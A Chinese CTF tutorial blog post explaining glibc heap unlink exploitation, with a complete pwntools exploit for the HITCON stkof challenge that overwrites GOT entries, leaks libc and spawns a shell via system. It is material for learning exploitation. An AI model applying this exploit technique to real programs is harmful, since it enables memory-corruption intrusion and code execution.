草庐IT

CTF PWN之heap入门 unlink

头秃的bug 2023-04-13 原文

环境

ubuntu20 + pwndbg + patchelf + glibc-all-in-one

为什么要用ubuntu不用kali,这里不做解释,总之就是自己在搭环境时出现了各种问题,但用ubuntu20不会出现,
pwndbg,打pwn题必备,具体安装过程见gdb与peda、pwngdb、pwndbg组合安装与使用

patchelf则可以实现动态更改二进制文件的glibc连接库版本,

glibc-all-in-one,提供了glibc常见版本。

patchelf --set-interpreter ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so --set-rpath ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64 target_file

unlink

一句话unlink操作就是从一个双链表中取出一个结点的操作(这里就是在非fastbin中取chunk的操作),那么什么时候会触发unlink操作呢?即当free一个非fastbin大小的chunk时,当物理相邻的前后存在free状态的chunk时,会触发向前或向后合并的操作,而合并就涉及到将一个free的chunk从双链表(这里注意如果处于free状态的chunk是在fastbin中,不会触发合并,因为fastbin中的chunk的in_user位是一定置1的,而这里判断是否free是通过下一个chunk的in_user位来判断)中取出的操作,即unlink。

unlink可以实现什么样的效果

这里可以取查看gblic关于unlink的源码,这里就不做分析,简单过程为:

这里讨论的是64位的情况,32位道理一样。

P:为要取出的chunk指针(指向chunk头的)
修改P的fd位为:P - 0x18
修改P的bk位为:P - 0x10

在执行unlink时会检测,(P->fd + 0x18 == P && P-bk + 0x10 ==P),即检测P的下一个chunk的上一个chunk是否为P和P的上一个chunk的下一个chunk是否为P,这里就是利用的关键,因为这里一切的触发都是P,是通过来定位其前后节点,所有存在绕过方式,
即 (P - 0x18 +0x18==P && P - 0x10 + 0x10 ==p) 为真。满足执行unlink条件。

unlink操作为:
P->fd + 0x18 = P->bk ==> P - 0x18 + 0x18 = P - 0x10 ==> P = P - 0x10
P->bk + 0x10 = P->fd ==> P - 0x10 + 0x10 = P - 0x18 ==> P = P - 0x18

所有执行完后就实现了 P = P - 0x18

单看这个效果好像没什么利用点,但是如果程序将chunk的指针(chunk中用户可编辑区的指针)存储在全局bass段呢?那么有意思的来了,我们就能得到一个bass地址mem = mem - 0x18,这在结合堆mem指针进行编辑的程序来实现bass段任意写入。

题目练习

2014 HITCON stkof
github链接
BUUCTF链接

checksec 检测


got表可写,canary found开启栈溢出困难,NX开启。

IDA参看分析:

程序存在 4 个功能,

sub_400936():用户输入要分配的内存空间大小,用malloc分配堆空间后将指针存储在bass段

sub_4009E8():向指定推块写入任意长度的字符 存在堆溢出

sub_400B07():free()

sub_400BA9():这里没有利用价值

明显程序将malloc()返回的指针保存在bass段,这考虑unlink,可以看到GLBC版本为2.2.5,满足unlink利用条件。

注意:在程序中没有看见setbuf()/setvbuf()函数,该函数作用为关闭I/O缓冲区,没有即程序在整个过程中I/O缓冲区一直没被释放,这对于我们来说是个好消息。

利用思路:

unlink的利用需要申请连续的chunk,为了方便我们先要让IO两个缓冲区都申请了,即程序执行至少以此IO输出,一次IO此输入(这里可以让程序执行一遍创建堆块的流程实现),后面再创建两个相邻的堆块,后面一个大小大于0x80,再前一个堆块里伪造一个释放状态的chunk,并利用堆溢出改写后一个chunk的P_size(伪造chunk的大小包括chunk头),和size(in_user为为0),然后free后面的chunk来触发前合并,从而进行unlink。在bass段存储chunk指针区获得一个 target = target -0x18 的地址。

本地搭建调试环境

利用patchelf + glibc-all-in-one切换该二进制文件的glibc版本
这里没有找打glibc2.25的版本,用2.23的也可以。

执行./download 2.23-0ubuntu11.3_amd64下载

切换glibc版本

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

ldd stkof 查看 成功切换

直接上exp

from pwn import *
context.log_level = 'debug'
stkof = ELF('./stkof')
#p = remote('node4.buuoj.cn',27198)
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('/home/lusong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

head = 0x602140 #储存chunk指针的bass段数组开始地址0为空闲从1开始


def alloc(size):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil(b'OK\n')


def edit(idx, size, content):
    p.sendline(b'2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil(b'OK\n')


def free(idx):
    p.sendline(b'3')
    p.sendline(str(idx))


def exp():
    # 让程序走一遍,实现IO缓冲区分配
    alloc(0x100)  # idx 1

    alloc(0x20)  # idx 2
    alloc(0x80)  # idx 3

    #在2中伪造chunk并且溢出修改3的chunk头
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    #溢出部分
    payload += p64(0x20)
    payload += p64(0x90)

    edit(2, len(payload), payload)
    # 释放3触发向前后合并,触发unlink,得到 head + 16 = head + 16 -0x18
    free(3)
    p.recvuntil('OK\n')


    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload) #这里payload数据是写入了bass段

    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #实际上变成了 puts(puts_addr) 得到puts地址来计算libc基址
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']

    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()

可以通过pwndbg来调试验证每部分exp的作用,这里就不做演示,代码已经很明确了。

转载于本人博客http://lusong.store/index.php/archives/154/http://lusong.store/index.php/archives/154/

有关CTF PWN之heap入门 unlink的更多相关文章

  1. LC滤波器设计学习笔记(一)滤波电路入门 - 2

    目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》,侵权删。前言最近需要学习放大电路和滤波电路,但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放,所以也是相当从零开始学习了。滤波电路科普主要分类滤波器:主要是从不同频率的成分中提取出特定频率的信号。有源滤波器:由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波,最普通易于采用的无源滤波器结构是将电感与电容串联,可对主要次谐波(3、5、7)构成低阻抗旁路。无源滤波器:无源滤波器,又称

  2. 微信小程序开发入门与实战(Behaviors使用) - 2

    @作者:SYFStrive @博客首页:HomePage📜:微信小程序📌:个人社区(欢迎大佬们加入)👉:社区链接🔗📌:觉得文章不错可以点点关注👉:专栏连接🔗💃:感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序(🔥)目录自定义组件-behaviors    1、什么是behaviors    2、behaviors的工作方式    3、创建behavior    4、导入并使用behavior    5、behavior中所有可用的节点    6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors    1、什么是behaviorsbehaviors是小程序中,用于实现

  3. 【Java入门】使用Java实现文件夹的遍历 - 2

    遍历文件夹我们通常是使用递归进行操作,这种方式比较简单,也比较容易理解。本文为大家介绍另一种不使用递归的方式,由于没有使用递归,只用到了循环和集合,所以效率更高一些!一、使用递归遍历文件夹整体思路1、使用File封装初始目录,2、打印这个目录3、获取这个目录下所有的子文件和子目录的数组。4、遍历这个数组,取出每个File对象4-1、如果File是否是一个文件,打印4-2、否则就是一个目录,递归调用代码实现publicclassSearchFile{publicstaticvoidmain(String[]args){//初始目录Filedir=newFile("d:/Dev");Datebeg

  4. ES基础入门 - 2

    ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear

  5. 区块链入门教程(6)--WeBASE-Front节点前置服务安装 - 2

    文章目录1.任务背景2.任务目标3.相关知识点4.任务实操4.1安装配置JDK4.2启动FISCOBCOS4.3下载解压WeBASE-Front4.4拷贝sdk证书文件4.5启动节点4.6访问节点4.7检查运行状态5.任务总结1.任务背景FISCOBCOS其实是有控制台管理工具,用来对区块链系统进行各种管理操作。但是对于初学者来说,还是可视化界面更友好,本节就来介绍WeBASE管理平台,这是一款微众银行开源的自研区块链中间件平台,可以降低区块链使用的门槛,大幅提高区块链应用的开发效率。微众银行是腾讯牵头设立的民营银行,在国内民营银行里还是比较出名的。微众银行参与FISCOBCOS生态建设,一定

  6. Tcl脚本入门笔记详解(一) - 2

    TCL脚本语言简介•TCL(ToolCommandLanguage)是一种解释执行的脚本语言(ScriptingLanguage),它提供了通用的编程能力:支持变量、过程和控制结构;同时TCL还拥有一个功能强大的固有的核心命令集。TCL经常被用于快速原型开发,脚本编程,GUI和测试等方面。•实际上包含了两个部分:一个语言和一个库。首先,Tcl是一种简单的脚本语言,主要使用于发布命令给一些互交程序如文本编辑器、调试器和shell。由于TCL的解释器是用C\C++语言的过程库实现的,因此在某种意义上我们又可以把TCL看作C库,这个库中有丰富的用于扩展TCL命令的C\C++过程和函数,所以,Tcl是

  7. Simulink方法总结和避坑指南(一)——Simulink入门与基本调试方法 - 2

    文章目录一、项目场景二、基本模块原理与调试方法分析——信源部分:三、信号处理部分和显示部分:四、基本的通信链路搭建:四、特殊模块:interpretedMATLABfunction:五、总结和坑点提醒一、项目场景  最近一个任务是使用simulink搭建一个MIMO串扰消除的链路,并用实际收到的数据进行测试,在搭建的过程中也遇到了不少的问题(当然这比vivado里面的debug好不知道多少倍)。准备趁着这个机会,先以一个很基本的通信链路对simulink基础和相关的debug方法进行总结。  在本篇中,主要记录simulink的基本原理和基本的SISO通信传输链路(QPSK方式),计划在下篇记

  8. ESP32学习入门:WiFi连接网络 - 2

    目录一、ESP32简单介绍二、ESP32Wi-Fi模块介绍三、ESP32Wi-Fi编程模型四、ESP32Wi-Fi事件处理流程 五、ESP32Wi-Fi开发环境六、ESP32Wi-Fi具体代码七、ESP32Wi-Fi代码解读6.1主程序app_main7.2自定义代码wifi_init_sta()八、ESP32Wi-Fi连接验证8.1测试方法8.2服务器模拟工具sscom58.3测试代码8.4测试结果前言为了开发一款亚马逊物联网产品,开始入手ESP32模块。为了能够记录自己的学习过程,特记录如下操作过程。一、ESP32简单介绍ESP32是一套Wi-Fi(2.4GHz)和蓝牙(4.2)双模解决方

  9. ruby - 安装gem : Couldn't reserve space for cygwin's heap, Win32错误487错误 - 2

    我正在尝试在我的机器上安装win32-apigem,但在构建native扩展时我遇到了一些问题:$geminstallwin32-api--no-ri--rdocTemporarilyenhancingPATHtoincludeDevKit...Buildingnativeextensions.Thiscouldtakeawhile...C:\Programs\dev_kit\bin\make.exe:***Couldn'treservespaceforcygwin'sheap,Win32error0ERROR:Errorinstallingwin32-api:ERROR:Failed

  10. ruby-on-rails - Rails 还是 Sinatra? PHP程序员入门学习哪个好? - 2

    按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭10年前。我使用PHP的时间太长了,对它感到厌倦了。我也想学习一门新语言。我一直在使用Ruby并且喜欢它。我必须在Rails和Sinatra之间做出选择,那么您会推荐哪一个?Sinatra真的不能用来构建复杂的应用程序,它只能用于简单的应用程序吗?

随机推荐